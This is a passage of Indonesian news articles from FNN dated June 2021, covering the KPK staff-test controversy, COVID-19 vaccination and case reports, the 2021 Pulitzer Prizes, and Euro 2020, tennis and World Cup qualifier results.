hadir. Pemanggilan kedua untuk pimpinan KPK dijadwalkan pada 15 Juni 2021. Menurut Anggota Komnas HAM Mohammad Choirul Anam, pihaknya telah menyiapkan sekitar 30 pertanyaan untuk pimpinan KPK. Plt Juru Bicara KPK, Ali Fikri, mengatakan, pimpinan KPK telah mengirimkan surat ke Komnas HAM untuk memastikan terlebih dulu seperti apa pemeriksaan dugaan pelanggaran HAM oleh pimpinan KPK tersebut. Menurut dia, pelaksanaan TWK telah sesuai dengan UU Nomor 19/2019, PP Nomor 41/2020, dan Peraturan Komisi Nomor 1/2021. 4. Mahkamah Konstitusi Selanjutnya sembilan orang pegawai KPK juga mengajukan uji materiil terkait pelaksanaan TWK ke MK pada 2 Juni 2021. Kesembilan orang pemohon adalah Hotman Tambunan, Rasamala Aritonang, Andre Dedy Nainggolan, Novariza, Faisal, Benydictus Siumlala Martin, Harun Al Rasyid, Lakso Anindito dan Tri Artining Putri. "Kami menguji pasal 69 B ayat 1 dan pasal 69 C terhadap pasal 1, pasal 28 D ayat 1, 2, 3 UUD 1945. Kami berpikir bahwa penggunaan TWK untuk pengalihstatusan pegawai KPK itu bertentangan dengan pasal 1, pasal 28 D ayat 1, 2, 3 UUD 1945," kata Tambunan. Pasal 69 B ayat (1) dan pasal 69 C mengatur soal penyelidik atau penyidik KPK dan pegawai KPK yang belum berstatus sebagai ASN dalam jangka waktu paling lama 2 tahun sejak UU berlaku dapat diangkat sebagai ASN sesuai peraturan perundang-undangan. "Isunya ini adalah mengukur bagaimana mengukur kesetiaan kepada Pancasila, UUD 1945, NKRI dan Bhineka Tunggal Ika. Kami melihat bahwa BKN seperti memonopoli pengertian itu dengan menggunakan alat ukur TKW, apakah memang alat ukur itu valid? kita buka saja di sidang-sidang MK," kata Tambunan. Apalagi menurut dia, dalam UU Nomor 7/2017 tentang Pemilihan Umum dan UU Nomor 1/2015 tentang Penetapan Perpu Nomor 1/2014 Tentang Pemilihan Gubernur, Bupati dan Wali Kota mengatakan syarat untuk menjadi gubernur, bupati, wali kota, anggota DPR, DPRD tingkat 1, DPRD tingkat II, presiden dan wakil presiden hanya mensyaratkan surat pernyataan kesetiaan terhadap Pancasila, UUD 1945, NKRI dan Bhineka Tunggal Ika sebagai alat kesetiaan. "Nah menurut BKN alat ukurnya (TKW) sudah sangat valid, sudah saatnya para pejabat strategis tadi menggunakan alat ukur itu. Apa yang dimaksud dengan wawasan kebangsaan itu pandai berpidato tapi melanggar kode etik atau orang-orang yang berjuang untuk memberantas korupsi? Orang yang memenuhi aturan? Orang-orang yang bayar pajak? Itu tadi coba kita lihat di sidang-sidang MK," kata dia. Kesembilan orang pemohon itu juga sudah memberikan 31 bukti setebal lebih dari 2.000 halaman. Ia berharap putusan MK terhadap permohonan mereka dapat dibuat sebelum November 2021 agar dapat langsung diterapkan terhadap nasib 75 pegawai KPK yang dinyatakan TMS. "Kami memohon dan berharap Mahkamah Konstitusi dapat memutuskan permohonan ini sebelum November 2021, mengingat pasal yang kami mohonkan adalah pasal peralihan yang hanya berlaku sekali," kata Tambunan. 5. PGI dan MUI Pada 28 Mei 2021, Persekutuan Gereja-Gereja di Indonesia (PGI) menerima sembilan orang perwakilan pegawai KPK bersama tim hukumnya. "Kami akan mengirimkan surat kepada Presiden Joko Widodo untuk meminta menghentikan upaya pelemahan KPK ini, terutama peminggiran 75 pegawai KPK," kata Ketua Umum PGI, Gomar Gultom. Menurut Gultom, dengan disingkirkannya para pegawai yang selama ini memiliki kinerja baik serta memiliki integritas kuat dengan alasan tidak lulus TWK akan menjadikan para penyidik berpikir ulang untuk melaksanakan tugasnya dengan profesional seturut dengan kode etik KPK pada masa depan. "Karena mereka khawatir akan 'di-TWK-kan dengan label radikal dan kami makin khawatir karena mereka yang dipinggirkan ini banyak yang sedang menangani kasus-kasus korupsi yang sangat signifikan," kata dia. Aritonang yang ikut dalam pertemuan mengatakakan bahwa pelemahan KPK ini juga merupakan ulah para koruptor. "Kami berhadapan dengan koruptor dan yang bisa korupsi hanyalah mereka yang punya akses kepada kekuasaan. KPK ini hanyalah alat, pisau untuk memotong bagian badan yang koruptif dan reaksi dari para koruptor ini adalah membuang pisau ini, itu yang sedang kami alami," kata dia. Sekretaris Umum PGI, Jacky Manuputty, pun mengungkapkan kegelisahannya melihat fabrikasi hoaks di media sosial yang mudah mengubah persepsi masyarakat terhadap keadaan dan lembaga tertentu. Selanjutnya pada 3 Juni 2021, sebanyak 12 pegawai KPK bertemu dengan pengurus Majelis Ulama Indonesia. "Kehadiran mereka ke MUI dalam rangka mengadukan proses seleksi TWK," ujar Ketua MUI Bidang Dakwah dan Ukhuwah, Cholil Nafis. Ia mengatakan 12 pegawai KPK itu bercerita soal keganjilan baik dari materi TWK maupun proses pengangkatan ASN. Untuk menjadi ASN di KPK masih harus menjalani TWK, sementara di lembaga lain seperti Komnas HAM tidak perlu. Setelah audiensi itu, MUI akan membawa masalah ini ke dalam rapat pimpinan harian MUI, sehingga nantinya akan muncul tanggapan resmi dari MUI. Waketum MUI, Anwar Abbas, sebelumnya juga mempertanyakan tes wawasan kebangsaan dari pewawancara dalam tes alih status pegawai KPK. Anwar menilai ada yang salah dalam pemahaman keagamaan dan kebangsaan pewawancara sehingga ia meminta hasil tes dibatalkan karena pertanyaan-pertanyaan yang diajukan tidak sesuai dengan nilai-nilai dalam Pancasila dan UUD 1945. Hasil akhir aduan dan laporan 75 pegawai KPK tersebut memang belum terlihat namun setidaknya para pegawai tersebut tetap bergerak dan bertindak melihat ketidakberesan yang ada di depan mata. Mungkin pergerakan tersebut seiring dengan lagu Mars KPK yang diputarkan berulang-ulang saat pelantikan 1.271 orang pegawai KPK menjadi ASN pada 1 Juni 2021 lalu. (mth)

Jogjakarta Gencarkan Vaksinasi COVID-19 Massal Percepat Capai Target

Jogjakarta, FNN - Satgas Penanganan COVID-19 Kota Jogjakarta menggencarkan vaksinasi massal sehingga diharapkan kapasitas harian meningkat menjadi lebih dari 2.000 dosis untuk percepatan capaian target. "Vaksinasi secara regular dilakukan di 18 puskesmas, 13 rumah sakit dan satu klinik. Total kapasitasnya sekitar 2.000 suntikan per hari," kata Ketua Harian Satuan Tugas Penanganan COVID-19 Jogjakarta Heroe Poerwadi di Jogjakarta, Sabtu. Oleh karenanya, lanjut Heroe, untuk meningkatkan kapasitas vaksinasi sehingga mempercepat capaian target, dilakukan dengan menggelar kegiatan vaksinasi massal. Kegiatan vaksinasi massal tersebut, katanya, biasanya diselenggarkan oleh tim gabungan dari puskesmas, rumah sakit, dan klinik. Dari satu kegiatan vaksinasi massal, menurut Heroe, bisa dilakukan vaksinasi untuk sekitar 900 hingga 1.000 orang sasaran. "Misalnya pada Jumat (11/6) dilakukan vaksinasi massal di GL Zoo dan di lokasi lain. Capaiannya bisa mencapai 1.500 dosis," katanya. Dengan demikian, target untuk menuntaskan vaksinasi kepada warga lanjut usia (lansia) berusia lebih dari 60 tahun serta pralansia atau berusia lebih dari 50 tahun bisa diselesaikan pada akhir Juni. "Termasuk di dalamnya adalah vaksinasi untuk tokoh masyarakat, tokoh agama dan relawan yang selama ini membantu penanganan COVID-19 di wilayah," katanya. Di Kota Yogyakarta, vaksinasi juga sudah menginjak ke kelompok di luar kelompok umur prioritas tersebut, meski masih dilakukan secara selektif. "Kami juga sedang mengidentifikasi penerima vaksin berdasarkan kartu keluarga (KK) untuk mengetahui seberapa banyak warga Kota Jogjakarta dan warga luar Kota Jogjakarta yang sudah menerima vaksin," katanya. Proses identifikasi tersebut diharapkan dapat dilakukan secepatnya untuk memastikan capaian vaksinasi bagi warga Kota Jogjakarta karena selama ini pemberian vaksin COVID-19 tidak didasarkan pada kependudukan atau domisili. Hingga saat ini, Satgas Penanganan COVID-19 Jogjakarta mencatat sudah melakukan vaksinasi kepada lebih dari 120.000 orang untuk suntikan pertama. "Vaksinasi ini bisa mencegah timbulnya gejala yang lebih berat apabila ada warga yang terpapar COVID-19," katanya. Sementara itu, Kepala Bidang Pencegahan dan Pengendalian Penyakit Dinas Kesehatan Kota Jogjakarta Lana Unwanah mengatakan dalam satu pekan terakhir sudah dilakukan beberapa kegiatan vaksinasi massal yaitu di Kecamatan Pakualaman, Ngampilan, Kotagede, Mergangsan, dan Umbulharjo untuk selanjutnya dilakukan di Mantrijeron. Kegiatan vaksinasi massal ditujukan kepada lansia dan pralansia serta masyarakat pelayan publik lain di wilayah termasuk tokoh agama, tokoh masyarakat, pengurus RT/RW serta PKK. “Pemberian vaksin ke lansia sudah mencapai sekitar 75 persen. Kendala vaksinasi ke lansia biasanya adalah kondisi kesehatan mereka tidak memenuhi syarat menerima vaksin seperti darah tinggi dan komorbid lain,” katanya. (mth)

Reuters, New York Time Menang Pulitzers

New York, FNN - Reuters dan Minneapolis Star Tribune masing-masing memenangi Hadiah Pulitzer pada Jumat (11/6) untuk jurnalisme tentang ketidakadilan rasial dalam kepolisian AS, sementara New York Times dan Atlantik dihormati karena mencatat pandemi COVID-19, dua topik yang mendominasi berita utama tahun lalu. The Star Tribune memenangi Hadiah Pulitzer 2021 karena pelaporan berita terkini untuk apa yang disebut dewan juri sebagai liputan "mendesak, berwibawa dan bernuansa" tentang pembunuhan George Floyd di tangan polisi Mei lalu, sementara Reuters dan Atlantik berbagi penghargaan untuk pelaporan penjelasan. Hadiah Pulitzer adalah penghargaan paling bergengsi dalam jurnalisme Amerika dan telah diberikan sejak 1917, ketika penerbit surat kabar Joseph Pulitzer mencanangkan hadiah itu sebagai warisan untuk New Universitas Columbia York atas wasiatnya. Pada 2020, "organisasi berita di negara ini menghadapi kompleksitas secara berurutan meliput pandemi global, pandangan rasial, dan pemilihan presiden yang diperebutkan dengan sengit," Mindy Marques, ketua bersama Dewan Pulitzer, mengatakan pada upacara pengumuman, yang disiarkan online. Dewan menyebut wartawan Reuters Andrew Chung, Lawrence Hurley, Andrea Januta, Jaimi Dowdell dan Jackie Botts untuk "analisis data perintis" dari serangkaian liputan bertajuk 'Shielded' , yang menunjukkan bagaimana doktrin hukum yang tidak jelas tentang 'kekebalan yang memenuhi syarat' melindungi polisi yang menggunakan kekuatan berlebihan dari penuntutan. Pemimpin Redaksi Reuters Alessandra Galloni mengatakan dalam sebuah pernyataan bahwa serial liputan tersebut membentuk perdebatan tentang bagaimana mereformasi kepolisian Amerika. "Dalam satu tahun protes yang penuh gejolak atas pembunuhan polisi terhadap warga kulit hitam Amerika, 'Shielded' adalah karya dengan kekuatan moral yang luar biasa tentang masalah sulit yang dihadapi demokrasi paling kuat di dunia, warisan ketidakadilan rasial," kata pernyataannya. Hadiah Pulitzer untuk Reuters, sebuah unit dari Thomson Reuters, adalah yang kesembilan sejak 2008, dan keenam dalam empat tahun terakhir. Tim Reuters berbagi penghargaan pelaporan penjelasan dengan Ed Yong dari The Atlantic, yang dipuji oleh dewan untuk "serangkaian karya tulis yang jelas dan pasti tentang pandemi COVID-19." Satu Kasus Serangkaian berita kepolisian Reuters dipicu oleh satu kasus - dan membutuhkan analisis data yang panjang dan kompleks untuk diselesaikan. Pada April 2017, Mahkamah Agung AS menolak untuk menghidupkan kembali gugatan tersangka yang tidak bersenjata yang menuduh seorang perwira Houston dengan kekuatan berlebihan yang tidak konstitusional karena menembaknya dari belakang. Wartawan Mahkamah Agung Reuters Chung dan Hurley bekerja sama dengan wartawan data Januta, Dowdell dan Botts. Mereka menganalisis ratusan kasus dan menemukan bahwa sejak 2005, pengadilan telah menunjukkan kecenderungan yang meningkat untuk memberikan kekebalan dalam kasus-kasus penggunaan kekuatan yang berlebihan. Mereka kemudian mencatat secara rinci kasus sejumlah korban kekerasan polisi yang telah ditolak keadilannya bahkan setelah pengadilan menemukan bahwa petugas telah bertindak terlalu keras. Berita Reuters pertama diterbitkan hanya beberapa pekan sebelum pembunuhan Floyd, seorang pria kulit hitam berusia 46 tahun yang meninggal dengan tangan diborgol ketika seorang perwira polisi kulit putih Minneapolis berlutut di lehernya. Pelaporan itu memiliki dampak luas pada percakapan nasional tentang masalah kepolisian AS. "Data yang kami dapatkan dikutip di hampir setiap organisasi berita besar segera setelah pembunuhan George Floyd," kata Hurley, menambahkan itu juga telah dikutip dalam pengajuan pengadilan dan secara informal oleh hakim. Penghargaan Khusus Banyak Hadiah Pulitzer 2021 dianugerahkan untuk liputan kepolisian dan gerakan protes global yang meletus setelah pembunuhan Floyd: Associated Press memenangkan penghargaan fotografi berita terbaru untuk gambar-gambar protesnya, sementara Robert Greene dari Los Angeles Times menang untuk penulisan editorial untuk karyanya tentang reformasi jaminan dan penjara. Dewan juga mengatakan memberikan "penghargaan khusus" kepada Darnella Frazier, remaja yang merekam video pembunuhan Floyd di ponselnya, yang katanya menyoroti "peran penting warga negara dalam perburuan kebenaran dan keadilan lewat jurnalisme." The New York Times memenangkan penghargaan jurnalisme layanan publik, yang sering dianggap sebagai penghargaan yang paling didambakan dari 22 penghargaan, karena "liputannya yang cerdas dan menyeluruh tentang pandemi virus corona." The Boston Globe menang untuk pelaporan investigasi karena mengungkap kegagalan sistematis oleh pemerintah negara bagian untuk berbagi informasi tentang pengemudi truk berbahaya yang bisa membuat mereka keluar dari jalan. Pengumuman hadiah pada Jumat, yang masing-masing paling tinggi bernilai $15.000, telah ditunda sejak April di tengah pandemi. Makan siang penghargaan di Universitas Columbia, yang biasanya berlangsung segera setelah pengumuman penghargaan, telah ditunda hingga musim gugur. Dewan Pulitzer juga mengakui pencapaian dalam tujuh kategori dalam seni, dan memberikan hadiah fiksinya kepada Louise Erdrich untuk novelnya "The Night Watchman" tentang upaya menggusur suku asli Amerika pada 1950-an. (mth)

Kasus Kematian Akibat COVID-19 di Belitung Capai 52 Orang

Belitung, Babel, FNN - Satuan Tugas Percepatan dan Penanganan COVID-19 Kabupaten Belitung, Provinsi Kepulauan Bangka Belitung mencatat jumlah kasus kematian akibat COVID-19 di daerah itu mencapai 52 orang. "Total kasus meninggal akibat COVID-19 sampai dengan hari ini mencapai 52 orang," kata Ketua Satgas COVID-19 Belitung Sahani Saleh di Tanjung Pandan, Jumat (11/6). Berdasarkan laporan kematian COVID-19 yang dikeluarkan RSUD Marsidi Judono Belitung pasien ke-52 yang meninggal dunia adalah RM (62), warga Jalan Kerjan Desa Air Merbau, Tanjung Pandan. "Pasien meninggal dunia pada Kamis (10/6), pukul 11.55 WIB di ruang isolasi RSUD Marsidi Judono Belitung," ujarnya. Ia menjelaskan RM masuk RSUD Marsidi Judono Belitung pada 24 Mei lalu. Setelah menjalani perawatan selama 16 hari, kondisi pasien membaik dan sempat dipulangkan ke rumah. "Namun sehari berselang kondisi pasien memburuk dan kembali harus menjalani perawatan di isolasi," katanya. Dia mengatakan pada Kamis (10/6) pasien mengalami henti jantung namun ketika dilakukan "inform concent" kepada keluarga pasien keluarga meminta untuk tidak dilakukan pijat jantung (DNR). "Pasien dinyatakan meninggal dunia pada pukul 11.55 WIB dan dilakukan pemulasaran dan pemakaman jenazah sesuai protokol COVID-19," ujarnya. Ia menyebutkan jumlah kasus positif COVID-19 di Belitung sejak Maret 2020 mencapai 2.511 orang, sembuh sebanyak 2.378 orang, dan meninggal dunia sebanyak 52 orang. "Sedangkan kasus aktif COVID-19 sekarang terkonfirmasi sebanyak 81 orang," katanya. (sws)

Italia Gebuk Turki 3-0 dalam Laga Perdana Euro 2021

Roma, FNN - Menekan sejak kickoff babak pertama dan menggebrak sejak detik pertama babak kedua, Italia yang menciptakan 13 percobaan menjebol gawang Turki akhirnya sukses tiga kali menciptakan gol pada babak kedua saat mengawali kampanye menjuarai Euro kedua kalinya dengan menang 3-0 atas Turki, di Stadion Olimpico, Roma, Jumat waktu setempat (Sabtu dini hari WIB). Dalam pertandingan penyisihan di Grup A Euro 2020 itu, Italia memecahkan kebuntuan pada menit ke-53 setelah manuver gelandang mungil Domenico Berardi memaksa Merih Demiral mencetak gol ke gawang sendiri. Gol ini menjadi buah untuk dominasi nyaris sempurna Italia dalam pertandingan pertama Euro 2020 di Stadion Olimpico di Roma ini. Italia, sebut reporter Paolo Menicucci dalam laman Euro 2020, agaknya dipaksa membutuhkan keberuntungan dari ketidakberuntungan Turki yang solid dalam bertahan selama hampir satu jam laga ini. Namun, justru gol bunuh diri ini menambah liar skuad Italia yang terus mencari cara untuk menjebol kembali gawang Turki, termasuk dari tendangan Ciro Immobile yang melebar dari gawang satu menit selepas gol bunuh diri Demiral. Sebaliknya Turki yang sesekali berusaha bangkit, tetapi selalu menemui solidnya lapangan tengah dan belakang Italia, terlihat syok dan panik. Pada menit ke-58 kiper Uqurcan Cakir terpaksa membuat penyelamatan untuk mementahkan upaya Manuel Locatelli. Delapan menit kemudian, Cakir tak mampu menahan gempuran pemain Italia setelah dia sempat mementahkan upaya Leonardo Spinazzola, tetapi tak bisa melakukan untuk kedua kalinya dalam menahan sepakan Ciro Immobile yang menyambar bola muntah. Italia pun sudah memimpin 2-0 sampai menit ke-66. Turki terus tertekan, dan makin kedodoran, sampai kemudian pada menit 79, giliran Lorenzo Insigne menciptakan gol ketiga Italia yang dirancang rapi lewat pergerakan kolektif pemain-pemain Azzurri dan praktis memupus impian Turki mencuri poin dari tuan rumah. Azzurri kini tak terkalahkan dalam 28 pertandingan dan mengawali kampanye Euro 2020 dengan cantik sehingga membangkitkan harapan memupus petaka tiga tahun lalu dalam Piala Dunia 2018 di mana mereka tidak lolos. Berikut susunan pemain kedua tim yang dirilis 30 menit sebelum kickoff laga yang juga pertandingan pembuka Grup A di Roma ini, seperti dilaporkan Reuters dan laman UEFA. Susunan pemain kedua tim Turki: Ugurcan Cakir; Zeki Celik, Caglar Soyuncu, Merih Demiral, Umut Meras; Okay Yokuslu, Ozan Tufan, Kenan Karaman, Hakan Calhanoglu, Yusuf Yazici; Burak Yilmaz (kapten) locPemain pengganti: Mert Gunok, Altay Bayindir, Cengiz Under, Dorukhan Tokoz, Taylan Antalyali, Ozan Kabak, Enes Unal, Orkun Kokcu, Irfan Can Kahveci, Kaan Ayhan, Mert Muldur, Halil Dervisoglu. Italia: Gianluigi Donnarumma; Alessandro Florenzi, Leonardo Bonucci, Giorgio Chiellini (kapten), Leonardo Spinazzola; Nicolo Barella, Jorginho, Manuel Locatelli; Domenico Berardi, Ciro Immobile, Lorenzo Insigne. (sws)

Satgas Pamekasan Laporkan Tambahan Kasus Baru COVID-19

Pamekasan, FNN - Satgas COVID-19 Kabupaten Pamekasan, Jawa Timur, Jumat (11/6) malam, melaporkan tambahan dua kasus baru COVID-19 hasil pencegahan terhadap pengendara kendaraan bermotor di terminal barang Desa Ceguk, Kecamatan Tlanakan. "Kedua orang yang terkonfirmasi positif COVID-19 itu semuanya dari luar Kabupaten Pamekasan," kata Anggota Satgas COVID-19 Pamekasan dari Badan Penanggulangan Bencana Daerah (BPBD) Pemkab Pamekasan Budi Cahyono di Pamekasan, Jumat (11/6). Ia menjelaskan total jumlah pengendara yang dilakukan tes cepat antigen di lokasi penyekatan di Desa Larangan Tokol, Kecamatan Tlanakan, 24 orang dan dari jumlah itu dua orang di antara positif COVID-19. Para pengemudi yang dites cepat antigen itu yang tidak bisa menunjukkan surat keterangan telah dilakukan tes cepat. "Maka yang tidak membawa surat keterangan itu yang kita kita 'rapid' (tes cepat, red.) dan diketahui sebanyak dua orang positif," katanya. Penyekatan kepada para pengendara kendaraan bermotor di terminal barang di Jalan Raya Desa Larangan Tokol, Kecamatan Tlanakan itu, untuk mengantisipasi penyebaran COVID-19 di Kabupaten Pamekasan, menyusul melonjaknya kasus baru COVID-19 di Kabupaten Bangkalan. Hingga Jumat (11/6), sudah ada enam orang asal luar Kabupaten Pamekasan yang terkonfirmasi COVID-19 berdasarkan hasil tes cepat Satgas COVID-19 Pemkab Pamekasan di lokasi penyekatan. (sws)

Kami Bermain Bagus Sekali, Kata Roberto Mancini

Jakarta, FNN - Pelatih timnas Italia Roberto Mancini menyebut skuadnya bermain sangat bagus saat memenangi laga pertama Euro 2020 dengan menaklukkan tim sesolid Turki dengan skor besar 3-0 di Stadion Olimpico di Roma, Sabtu dini hari ini "Kami bermain bagus sekali. Mengingat ini pertandingan pertama, sungguh tak mudah dan kami menghadapi tim yang bagus," kata Mancini setelah laga seperti diwartakan laman Euro 2020, Sabtu. Mancini juga menyanjung dukungan tiada henti dari suporter padahal hanya mengisi stadion yang tidak dalam kapasitas normalnya. "Penonton membantu kami, dan itu penting sekali bagi kami dalam mengalirkan bola dengan cepat," sambung Mancini. Sementara itu mantan bintang Italia, Gianluca Zambrotta, menyebut kemenangan besar Italia itu menunjukkan tingkat kualitas yang tinggi dari skuad Azurri yang menurutnya sudah dia perkirakan. "Mereka terlihat tajam dan percaya diri sepanjang pertandingan itu. Mentalitasnya beda malam ini. sebuah langkah maju pertama yang hebat! Tak sabar menunggu pertandingan Italia berikutnya," kata Zambrotta. Selama 50 menit dada para pendukung Italia berdegup kencang karena khawatir timnya tak diganjar hasil positif dari dominasi lapangan yang nyaris sempurna. Tetapi begitu gol pertama tercipta mereka langsung lega, sebaliknya tim asuhan Mancini makin sengit menekan Turki sampai menciptakan gol kedua dan ketiga dalam turnamen besar sepakbola pertama era pandemi ini. Italia pun memperpanjang catatan tak terkalahkannya menjadi 28 pertandingan. (sws)

Ciro Immobile Ungkap Rahasia Menang Italia Atas Turki

Jakarta, FNN - Salah satu pencetak tiga gol pertama Euro 2020 ketika Italia menang 3-0 atas Turki dalam pertandingan Grup A, Ciro Immobile, mengungkapkan kesabaran, determinasi dan tak henti menekan lawan sebagai kunci Azurri menghantam Turki dalam laga perdana Euro 2020 di Stadion Olimpico, Roma, Sabtu dini hari itu. "Kami menunjukkan kesabaran pada babak pertama," kata Ciro Immobile dalam laman Euro 2020, Sabtu. "Turki adalah tim yang tangguh dan menciptakan masalah pada banyak tim-tim top," sambung Immobile usai pertandingan yang menjadi awal sempurna dan memperpanjang catatan tak terkalahkan Italia menjadi 28 laga itu. "Kami berusaha membuat mereka lelah, menggerakkan bola ke kiri dan ke kanan, berusaha mengurai mereka," kata Immobile. "Sayangnya kami biasanya menghadapi kesulitan dalam menjebol dinding mereka." "Setelah gol itu (gol bunuh diri Merih Demiral) mereka harus membuka ruangnya lebar-lebar, dan dari situlah kualitas kami muncul," kata Immobile lagi. Striker Lazio itu kemudian berterima kasih kepada Ibundanya "karena memberikan saya rasa sudah berada di tempat yang tepat pada waktu yang tepat." "Gol kedua itu adalah dari pergerakan menyerang yang indah," kata dia tentang gol murni Italia kedua atau gol ketiga Italia yang diciptakan Lorenzo Insigne. "Kami menggerakkan bola dengan cepat sekali dari kanan ke kiri dan saya senang Lorenzo (Insigne) melakukan sentuhan akhirnya." Insigne sendiri senang telah menciptakan gol tetapi yang lebih penting menurut dia adalah kekuatan tim. "Kekuatan kami adalah kelompok, pelatih telah menciptakan sebuah kelompok pemain yang hebat yang tidak ada starter dan pemain pengganti dan masing-masing dari kami selalu siap memberikan pengorbanan kepada rekan-rekan kami," kata Insigne. "Menang itu yang paling penting, jika saya mencetak gol, itu makin baik. Ini sungguh malam yang hebat," sambung Insigne. (sws)

Djokovic Depak "Raja Tanah Liat" di Semifinal Roland Garros 2021

Jakarta, FNN - Unggulan teratas Novak Djokovic memupuskan impian Rafael Nadal untuk memenangi gelar Grand Slam ke-21 di permukaan tanah liat yang menjadi favorit Nadal lewat perseteruan ketat di babak semifinal French Open, Jumat malam waktu Paris (Sabtu WIB). Petenis Serbia itu menyingkirkan petenis berjuluk "Raja Tanah Liat" dari Roland Garros dengan skor 3-6, 6-3, 7-6(4), 6-2 yang diselesaikan selama empat jam dan 22 menit. "Ini pasti pertandingan terindah yang pernah saya mainkan di sini, di Paris," kata Djokovic, yang bertutur dalam Bahasa Prancis setelah pertandingan. Pertandingan antara Djokovic dan Nadal terbilang sensasional dan tak terduga. Meski Djokovic unggul 29-28 dalam catatan pertemuan sebelum pertandingan malam ini, namun Nadal punya total kemenangan 105-2 di pertandingan Grand Slam tanah liat dan 7-1 dalam pertemuannya dengan Djokovic di lapangan yang sama. Sempat kalah di set pertama, tetapi Djokovic tidak pernah kehilangan fokusnya melawan unggulan ketiga Nadal yang sudah mengantongi 13 gelar dari Roland Garros. "Mungkin Anda melihat saya bahwa tidak ada tekanan di pertandingan ini, tapi percayalah bahwa nyatanya ada banyak tekanan," Djokovic mengungkapkan, seperti dilansir ATP Tour di laman resminya. Setelah awal yang lambat, Djokovic mampu menekan Nadal untuk di set kedua guna mencegahnya mengambil inisiatif permainan reli yang melelahkan. Nadal sering melawan balik sepanjang pertandingan, tetapi Djokovic tidak pernah memberikannya peluang membalas untuk waktu yang lama. Nadal hanya kalah satu set di turnamen ini saat memasuki semifinal, yang terjadi di perempat final saat melawan Diego Schwartzman. Pada partai puncak, Djokovic akan bertemu unggulan kelima Stefanos Tsitsipas yang berjuang melewati Alexander Zverev 6-3, 6-3, 4-6, 4-6, 6-3 dalam waktu tiga jam dan 37 menit di semifinal pertama hari Jumat. Djokovic punya keunggulan 5-2 melawan petenis berusia 22 tahun itu, dan dia mengalahkannya dalam lima set di semifinal Roland Garros tahun lalu. (sws)

Indonesia Akhiri Kualifikasi Piala Dunia dengan Keok 0-5 dari UEA

Jakarta, FNN - Indonesia mengakhiri kiprah dalam Grup G Kualifikasi Piala Dunia 2022 zona Asia dengan kalah 0-5 dari Uni Emirat Arab (UEA) di Stadion Zabeel, Dubai, Jumat malam waktu setempat. Disaksikan langsung melalui saluran resmi turnamen di Jakarta, Sabtu dini hari, kelima gol UEA diciptakan oleh Ali Mabkhout (dua gol), Fabio de Lima (dua gol) dan Sebastian Tagliabue. Indonesia memiliki kesempatan memperkecil kedudukan melalui tendangan penalti, tetapi eksekusi Evan Dimas ditepis kiper Ali Khaseif. Pada pertandingan itu, pelatih timnas Indonesia Shin Tae-yong menginstruksikan anak-anak asuhnya agar bertahan sejak menit pertama. Namun, Shin hanya dapat memberikan perintah dari jauh lantaran dilarang mendampingi tim di tepi lapangan dan ruang ganti menyusul akumulasi kartu kuning yang diterimanya. Garis pertahanan yang rendah dari skuad Garuda membuat UEA leluasa membangun serangan dan menguasai pertandingan. Gol pertama UEA pun hadir pada menit ke-22 melalui kaki Ali Mabkhout yang menyepak bola pantul hasil tendangan Khalfan Mubarak. Enam menit kemudian, Fabio de Lima mengonversi umpan silang Mahmoud Kamis menjadi gol dengan sundulannya. Skuad Garuda memiliki peluang memperkecil kedudukan, tetapi tendangan penalti Evan Dimas pada menit ke-39 tak berujung gol. Penalti diberikan setelah bek UEA menyentuh bola dengan tangan. Skor 2-0 untuk keunggulan UEA bertahan sampai pertandingan memasuki masa jeda. Pada babak kedua, Indonesia tampil lebih menyerang dengan masuknya Egy Maulana, Witan Sulaeman, Syahrian Abimanyu dan Muhammad Rafli. Akan tetapi, UEA tetap tidak tergoyahkan. Tim asuhan Bert van Marwijk rutin menggebrak dan pada menit ke-49 memaksa Adam Alis menjatuhkan Khalfan Mubarak dalam kotak terlarang. Ali Mabkhout maju sebagai penendang penalti dan sukses menyarangkan bola. Itu menjadi gol kesepuluh Mabkhout dalam Kualifikasi Piala Dunia 2022 zona Asia. Pada menit ke-55, Fabio Lima menghadirkan gol keduanya yang lagi-lagi berkat assist Mahmoud Kamis. UEA menutup pertandingan dengan skor 5-0 setelah pemain pengganti Sebastian Tagliabue menuntaskan serangan timnya dengan gol. Posisi Indonesia pun tak berubah dalam Grup G yaitu juru kunci dengan hanya satu poin dari delapan pertandingan. Evan Dimas dan kawan-kawan tak lolos ke putaran ketiga Kualifikasi Piala Dunia 2022. Skuad Garuda pun menjadi tim dengan pertahanan terburuk karena kebobolan 27 gol dan hanya membuat lima gol. Sementara UEA menduduki posisi kedua klasemen sementara Grup G dan masih harus bertarung melawan Vietnam untuk merebut posisi pertama agar melenggang langsung ke putaran ketiga. Berikut susunan pemain kedua tim. Indonesia: Muhammad Riyandi-pg, Asnawi Mangkualam, Arif Satria (63', Syahrian Abimanyu), Rizky Ridho (84', Didik Wahyu), Pratama Arhan, Osvaldo Haay (46', Witan Sulaeman), I Kadek Agung, Rachmat Irianto, Adam Alis, Evan Dimas (kapten, 76', Muhammad Rafli), Kushedya Yudo (46', Egy Maulana). UEA: Ali Khaseif-pg, Walid Abbas (kapten, 82', Hasan Almuharrami), Shaheen Abdalla (71', Khalifa Mubarak), Ali Hassan Alblooshi, Ali Ahmed Mabkhout (82', Sebastian Tagliabue), Bandar Mohammed, Khalfan Mubarak, Caio Canedo (63', Mohammad Jumaa), Fabio de Lima, Abdalla Ramadan (63', Majed Hassan), Mahmoud Khamis. (sws)

Leonardo Bonucci Minta Italia Tetap Rendah Hati

Jakarta, FNN - Bek tengah Italia Leonardo Bonucci yang menjadi salah satu faktor Turki tak bisa mendekati daerah penalti Azurri dalam laga perdana Euro 2020 di Stadion Olimpiade Roma, Sabtu dini hari WIB, meminta rekan-rekannya tetap rendah hati sekalipun telah mengawali perjalanan Euro 2020 dengan langkah sangat meyakinkan seusai menang 3-0 atas Turki. "Ini pacuan pertama yang kami harapkan akan menjadi perjalanan panjang. Sepantasnya ada antusiasme saat ini, tetapi kami juga mesti tetap rendah hati," kata Bonucci dalam laman Euro 2020, Sabtu. "Kami mesti tahu bahwa kami bisa kompetitif melawan siapa pun jika kami tampil di lapangan seperti penampilan kami hari ini," sambung bek tengah Juventus tersebut. Rendah hati mungkin yang membuat Italia tetap tenang dan dingin dalam menjalani laganya seperti mereka perlihatkan saat melawan Turki dini hari tadi. Lorenzo Insigne yang mencetak salah satu dari tiga gol yang bersarang ke gawang Turki menyebut ketenangan seperti itu sebagai salah satu kunci kemenangan timnya sehingga mereka tetap menekan, tetapi saat bersamaan disiplin dalam menghentikan manuver lawan ke daerah mereka. "Kami membuat awal yang lamban tetapi kami berhasil mengatasinya dan mencetak tiga gol pada babak kedua," kata striker 